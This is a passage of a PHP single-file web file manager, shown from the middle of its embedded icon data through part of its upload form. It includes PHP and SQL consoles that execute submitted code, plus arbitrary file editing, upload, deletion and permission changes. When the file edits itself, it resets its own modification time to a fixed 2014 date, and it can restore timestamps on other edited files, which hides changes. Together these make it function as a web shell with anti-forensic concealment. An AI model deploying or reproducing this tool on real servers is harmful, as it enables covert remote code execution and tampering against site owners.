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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
